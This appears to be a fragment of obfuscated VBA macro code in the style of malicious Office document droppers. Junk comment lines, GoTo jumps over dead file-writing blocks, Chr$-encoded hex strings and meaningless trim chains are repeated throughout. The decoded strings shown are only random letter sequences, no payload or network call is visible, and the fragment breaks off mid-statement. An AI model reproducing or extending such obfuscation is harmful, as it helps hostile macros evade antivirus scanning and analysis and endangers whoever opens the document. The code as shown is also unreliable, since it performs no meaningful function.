'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim EKfsXEuJ As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "NOBBWR.XRA" For Binary As 28
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #28, , EKfsXEuJ
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #28
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
IJrNAbOH:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
ECYUZNJI = LTrim(BABDGYVJ)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo PEhyKTrk
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim YRbkdOAl As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "AZTZEU.CXU" For Binary As 35
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #35, , YRbkdOAl
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #35
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
PEhyKTrk:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
OKGZGWIN = RTrim(ECYUZNJI)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo CtVxBCLn
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim LtiIlzjA As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "UHXPUH.EPV" For Binary As 51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #51, , LtiIlzjA
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
CtVxBCLn:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo NHpAhegz
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim WJlDPiSr As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "ZVCTNN.VKN" For Binary As 58
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #58, , WJlDPiSr
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #58
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
NHpAhegz:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
KMPBRSFT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim LVREFDQB, XOLCCQML, QBBAZXYA As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo uzYXWJdj
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim ezJogXPk As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "SFDCTD.IOH" For Binary As 61
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #61, , ezJogXPk
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #61
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
uzYXWJdj:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
LVREFDQB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo nHIFYaUg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim wHKNatth As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "XOFLVK.KEJ" For Binary As 18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #18, , wHKNatth
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
nHIFYaUg:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
XOLCCQML = LTrim(LVREFDQB)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo lEfmxwLd
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim hEcYJnjf As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "LZROLZ.GXY" For Binary As 95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #95, , hEcYJnjf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
lEfmxwLd:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
QBBAZXYA = RTrim(XOLCCQML)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo bXyXRMHb
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim mCjiBVfn As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "WSNCCF.JYZ" For Binary As 19
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #19, , mCjiBVfn
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #19
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
bXyXRMHb:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo mbZsXtlt
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim hnScjpJy As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "LAQTTM.GWF" For Binary As 95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #95, , hnScjpJy
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #95
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
mbZsXtlt:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
FMLQVHSY = LTrim(KMPBRSFT)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim ULLQMTFS, LBTFXLKX, RTJJVUWU As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo nHAwWAVU
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim xJSUhYwI As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "GVUAHS.QKO" For Binary As 18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #18, , xJSUhYwI
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
nHAwWAVU:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
ULLQMTFS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo vaIVZOki
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim maKpCDGo As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "WFFVXO.JIH" For Binary As 19
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #19, , maKpCDGo
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #19
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
vaIVZOki:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
LBTFXLKX = LTrim(ULLQMTFS)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo CssUkMNf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim KswLQVcg As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "ULEGHF.EFT" For Binary As 52
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #52, , KswLQVcg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #52
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
CssUkMNf:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
RTJJVUWU = RTrim(LBTFXLKX)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo dcpDKOYm
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim ivmNdDrw As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "GBZLEO.QLR" For Binary As 74
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #74, , ivmNdDrw
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #74
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
dcpDKOYm:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo VrCDqYSd
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim MruBTPpf As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "IGXKDU.ROV" For Binary As 51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #51, , MruBTPpf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #51
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
VrCDqYSd:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
OWECLMOI = RTrim(FMLQVHSY)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo bWqOgSqf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim wWmWOJIg As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "WQZJGQ.KTT" For Binary As 18
